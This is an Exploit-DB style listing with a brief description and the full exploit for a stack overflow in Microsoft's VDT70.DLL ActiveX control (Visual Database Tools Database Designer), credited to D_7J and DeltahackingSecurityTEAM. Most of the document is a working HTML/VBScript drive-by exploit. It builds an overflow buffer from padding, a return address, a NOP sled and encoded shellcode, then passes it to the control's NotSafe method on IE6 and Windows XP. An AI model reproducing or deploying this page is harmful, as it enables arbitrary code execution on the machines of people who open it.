( Microsoft Visual 6 ) VDT70.DLL Stack Overflow Exploit

vendor:

Microsoft Visual Database Tools Database Designer

by:

D_7J

7.5

CVSS

HIGH

Stack Overflow

CWE

Product Name: Microsoft Visual Database Tools Database Designer

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2

( Microsoft Visual 6 ) VDT70.DLL Stack Overflow Exploit

This exploit targets the VDT70.DLL component in Microsoft Visual Database Tools Database Designer V7.0. It takes advantage of a stack overflow vulnerability to execute arbitrary code. The exploit was discovered by D_7J and developed by the DeltahackingSecurityTEAM. It has been tested on Windows XP Professional SP2 with Internet Explorer 6.

Mitigation:

Source

Exploit-DB raw data:

<!--============================================================================
( Microsoft Visual 6 ) VDT70.DLL Stack Overflow Exploit
DeltahackingSecurityTEAM
Bug discovered by D_7J
Affected Software: VDT70.DLL (Microsoft Visual Database Tools Database Designer V7.0) ,
Company Dll : Microsoft, Inc.
www.Deltahacking.net
www.Deltasecurity.ir
Tested on Windows XP Professional SP2 full patched, with Internet Explorer 6
This exploit was written for working on Windows XP Professional SP2
==============================================================================-->
<html>
 <object classid='clsid:03cb9467-fd9d-42a8-82f9-8615b4223e6e' id='test'></object>
  <script language = 'vbscript'>
   jojo      = String(380,"A")

   get_EIP   = unescape("%EB%AA%D7%77")

   GM     = String(92,"A")

   nop       = unescape("%90%90%90%90%90%90%90%90%90%90")

   shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
               unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
               unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
               unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
               unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
               unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
               unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
               unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
               unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
               unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
               unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
               unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
               unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
               unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
               unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
               unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
               unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
               unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
               unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
               unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
               unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
               unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

   egg       = jojo + get_EIP + GM + get_EIP + nop + shellcode + nop

   test.NotSafe egg

 </script>
</html>

# milw0rm.com [2007-08-06]